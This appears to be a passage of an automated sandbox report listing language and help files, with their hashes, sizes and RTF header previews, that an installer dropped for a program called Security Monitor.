Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 020206030504050

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43205
Entropy (8bit):	5.029790593334823
Encrypted:	false
SSDEEP:	768:joOfYRlj4lmbIWIRV9hiuFfmXYPxz7XzzMVFGqpJzVnz2T8VngbYh8snZHHuJfO:joblNkfO
MD5:	D4CB2191EA1740D821C8C26C19033BE6
SHA1:	3544CFF8E4BCF6BA57A63585AD6DAA2D244DC6D3
SHA-256:	7C075B420A250AC2F36DDAC2834B422FF8B858B0D6E02A9BF7AA5A40FFF6AB39
SHA-512:	D23AB39C0ABA07D99D7F03FAB498C2DADC81247FBC98DD758ABB94413041778BA5A83372F0F5AC20911B1C5F6B61313D6EBA26E966110F482B6B23D3BDAD94CF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 020206030504050

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44016
Entropy (8bit):	5.032158423293101
Encrypted:	false
SSDEEP:	768:jaOfIRlR4kgJAqxAUZC25iMSf3TIDgE6/o4WGrHwoKkASAt4Nb4B9SZHHuJf5:japUUNkf5
MD5:	CA0B924C577837EAB433DFACF50B0A2B
SHA1:	5FE70BC33A1A72354EB7CFA7327F993383F5CBF3
SHA-256:	62C5D1371C91B454DDE8DF1DB0D628EE59917A766E42475FD17F6EA1E168837F
SHA-512:	A1A20927E1DD4F3F63D8F9D69C23A4C62920C65972B4967BDE5C6FB49EE375B0FD3BC56F57DDB190C267921779A506C42960AA1E9BD7AF979CF6EBB954AD6925
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fchar

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42824
Entropy (8bit):	5.034062607884397
Encrypted:	false
SSDEEP:	768:jFTmHRlU4U7bIWIRV9pqHjiqlO8Dxg+uoH6ewDiUpk8q8l9kSZHHuJfo:jFulNkfo
MD5:	800E7AD84A7B41C281A79786FEA7BA97
SHA1:	994E9061F0AC0F8D5A34B5456B3CB580216F08F6
SHA-256:	6D4DC10220486F098944FBCE97F8B5D03DA6157F7B59F79AF697D60AEDBDAC82
SHA-512:	887318DB58E88701D2B34B7E894EE2132684D0E3C724BC1B6EBA83C5987ECC1D7984018C8915AD0E7EE63E46C8C4258D7F286D2CE804DDFB37289F37676EB5F8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}..{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}..{\fbimajor\f31503\fbidi \f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	46478
Entropy (8bit):	5.035284697457925
Encrypted:	false
SSDEEP:	768:jFTmHRlr4QogJAqxAUZ81f4igFt5hCteYHIGdLN1Ho3SShcYZVVkiikVi/nuAIRD:jFuqNkfh
MD5:	7EA6627CEC93F45827C17C30BFE21F60
SHA1:	BA5C79789734B4CD143BAAE12DECE8C07FD18427
SHA-256:	6FFBE7F2A89F1128FA7A950F7B1797E2B73E70839FB7EB79EE5B906C50CB8665
SHA-512:	D8C7ED9808A9045B0BE3D247C06F81FB5563F86DAAC704EB1D056AF0799716B6FA0470D81698F28EE72C5B937E0825F1CE42A9F354CA4C61173A0E72DFCB79ED
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}..{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}..{\fbimajor\f31503\fbidi \f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38875
Entropy (8bit):	5.023304885435034
Encrypted:	false
SSDEEP:	768:qMF2weYDc4L7bIWIRV9uUwcpanBczRyZHHuJfv:qM3ZxNkfv
MD5:	AA188680DBFDD29FCFD5767CFC4533D9
SHA1:	3CF7AC902EE42B074B4B5ED13E4529FD11A34ADD
SHA-256:	CC3FA96A625899F9221F3E76B6AB9C7B234DC7A4222C914EC9A78A7AA2D64825
SHA-512:	76C22CF016FF8C7C1122E5738FDCF79957D24A4590EAD2FE570CA833D1CF828F8B333CD105B2078AEF2032C503C03BC2536290E5302417D383889045E3B84817
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	27393
Entropy (8bit):	5.064150437041318
Encrypted:	false
SSDEEP:	768:lBliK0GRTzXqMKGCYv/DOo8eKjHHhSvMonfGQ3R:8KLTz/4WCo8eaHhW7n+QB
MD5:	9087FB9892DDAA830650011299AF2670
SHA1:	FF023B1F38F5B7D093C4F2AAB3470B1575BFA806
SHA-256:	969FC0043D05C76A4FBD148A0087DB9768B62D1DA17212D11A50F0A4A77CCBFC
SHA-512:	D0A9F5FFA8752A01F04B2B61024575E270D53FF5D30180EB4C3FC70C2A5A3D7A794DBE7B596CEC08E0554514D4113C2EC218B3C6533F0B3B952148C46DB8781A
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..##############################################################################..# ........! .. ....... ........ ..... ..... .. ..... "="!..##############################################################################..tbStart="....."..tbStartHint="...... ...... ......."..tbStop="...."..tbStopHint="......... ...... ......."..tbFind="....."..tbFindHint="..... .......... . ...."..tbSetting="........."..tbSettingHint="......... ........."..tbAbout=". ......"..tbAboutHint=". ......... / ............... .........."..tbHomePage=".. ...."..tbHomePageHint="....... ........ ........ ........."..tbToday="......."..tbTodayHint="....... . ............ ...."..tbHide="......"..tbHideHint="......... ..... (... ..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\McAfee_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50965
Entropy (8bit):	4.9704278921640555
Encrypted:	false
SSDEEP:	768:2aFkzOc7cskl/VGGAf+E2aiImsQZ/6A91:2aqz+aGIA91
MD5:	B4BB6B054B4A31DE24E87AC030375781
SHA1:	9DFAB2ACC25BA7B468C695E26B953D3E51987121
SHA-256:	B9AB1C6AC6061D9912ACFDF1499C8F4A22D92F950B27BE87BE7B4E0C631EA193
SHA-512:	39CC26F5008F356B8C30551E4B425BCF180662159A308846CD605A5B82E215C63CF5EAEB7A44996E4C39942DDB47FD30AEAF116B671DEA5073E906355244FE2C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	49985
Entropy (8bit):	5.016054674805171
Encrypted:	false
SSDEEP:	768:qqegxdUjOcPI0QhhiLVptabQhOsWxspoudZdRdud9dWlxjRw4L41PcQhiuOdcJpw:qqH7UnexIA9k
MD5:	6817C14DB33376EA13F5135582FEF07A
SHA1:	AC55EF25E5BA0C63319C2B7750AD3FB3B6141D1D
SHA-256:	8E6A77CDCF0EB74491B22151BCC19798620754E7F069D76227F8C2C1E28778B7
SHA-512:	81B3E721842C1F1CA3581AF69CB6495756EECAFD14385C512E5CEDFAF98BBED387D6B9AB27ED76754B17FFDB8B2E5414108702BD6E5B4A8DA27E821D9D7FF3B6
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38593
Entropy (8bit):	5.02789644916169
Encrypted:	false
SSDEEP:	768:q4e6xdUjOcPI0QhhiLVpUGXnT9bZhdfGjlrqCHy/RKECA13GPkmZ/6A9S:q4L7UnoIA9S
MD5:	030CBC2FE247F98453B82ABC39C3C966
SHA1:	D5F3102D3878F32C5A5FC7AEE0AF3F63DDB74119
SHA-256:	88E89133FC2542C74552BC4AD65320B01F08ED3A1E5269C008A0236BAF0C0893
SHA-512:	86109DEF32876A40F30B9A4D7D5366BE4FA07D62F3019CC269F3F1A7BD68C2C6597BD2341E0CEAC72951D2B8C66DAEBBE46278ECCAE7CC4D54F32FA9C5B833ED
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42126
Entropy (8bit):	5.024542957132508
Encrypted:	false
SSDEEP:	768:q4e94jXjOcPI0QhhiLVtwYMgT+h6asH7UlKBGcg5dEmR7iC//+U1zfymCRwFOcEz:q49OUnwIA92
MD5:	08B4567798ABE579F2D14EA033F94E31
SHA1:	28E3F5CB129DB9B3B33E104773609BF86C8A6861
SHA-256:	2EEB8BAA34230B1D075F9E9C59289BC3B1ACDAB08EF0A181A1FB43F6F3F1BD41
SHA-512:	7F8F5598E931CCCBB0F259AFDF369E7A8FDCBBFE1C222EE8B4D5FF16FE502D4F9BDF54799D3C8420FC5903624DCC7E0412197A067FBA3EF82862ECD491C6F312
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36808
Entropy (8bit):	5.0329736161419865
Encrypted:	false
SSDEEP:	768:q4eM4jXTicPI0QhhiLVFBbRTRYDOuJLrEZLZ/6A9i:q4UyUnVIA9i
MD5:	F9230F9C9FA57AB35625AD7DFD1D21A1
SHA1:	27AAAF7B861E3C1A0D017377E0F59801E143D59C
SHA-256:	85125B0682653CE7A5E9569F8480A87F5A3F1D3978B47A3C1AAD5FE80401D7CB
SHA-512:	A8FB380CD3DB166ECF2174097158B4261020E8AB376A2B6180958BC615CEF3F7CFBC4D4D437ADC454801FC9193E80A94B56C54B4CB2CAF4485043F34B132F99C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	61781
Entropy (8bit):	4.857520301127485
Encrypted:	false
SSDEEP:	768:2aTIM0LDyaeOsDvEpd1rTmMYm7JRFOtf1SPuJtxLs2coKPvZZ0Z/6A97:2asMQwPIA97
MD5:	78E67BA68FD674E528877B2C4ED0EA13
SHA1:	2393978ADD7BA637E654A9FDB1815BB2D4000BE2
SHA-256:	E023BDA87BC91024BDF8117E2E8FD19628ED0006DF399033A1FDF0A261CD90F8
SHA-512:	D3306182B95C93CB4DDDD7219239F8F927EDD1BF5F3134B89E19637760B8E3F051EBA9ED8EC193CA31D04FDFF2FD75AF6A3F119C357E244DCD7DB151B8061753
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial CYR;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 0202060305040502

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\eset_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43270
Entropy (8bit):	5.005983710564955
Encrypted:	false
SSDEEP:	384:2aFkyWNdW2OTYn/akJOc7jgskl7rVGGH249LYeoYGEovrMoQJhYNgDPsKknWeo7L:2aFk9Oc7cskl/VGGW+2/Z/6A92
MD5:	4AF18EE9439DF76D12E065E6AA400E6F
SHA1:	B9B939259BD0012DDF6A025199CB670F7B3C0CCE
SHA-256:	DF734E3254D106D22C2C57D81E1C8BA28DAB721488DBB48930516B94948A19DF
SHA-512:	80534BA7923F78792211AF00922D7B9E15A4FB25BF1661353BE820690EF3CDED245AC9BC951CF2BC6F48D8B9C5315DDE74DA9FC2CB8BE097ADECC3BE3EA07270
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-0AFEM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	54989
Entropy (8bit):	5.004403089561587
Encrypted:	false
SSDEEP:	1536:2aqAse39REjyW0ywGa2eI9Cj+uFECVCjuizCaIizg8zku0+zkuQPChJsCGJ7CdJ+:2B/i+uFEwmuizbIizg8zku0+zkugsGLZ
MD5:	D8DFDDE0D2E5EE7768A3D91D9CD9D014
SHA1:	4C1B8C8205715F8858FA089D887D2A49DC89EC77
SHA-256:	E3409500600560293AC4C89EE3FFB02B854E9CE26926C9C592DB11979288C0BA
SHA-512:	161A64A5B4F8C877661DE001A5293831D351E5294AF76F66441B6DF13AAF5976506ADD1A17F0EAE5126B72F1096AE9A745F1042BD6F9D0AA880F24C726027DF9
Malicious:	false
Reputation:	unknown
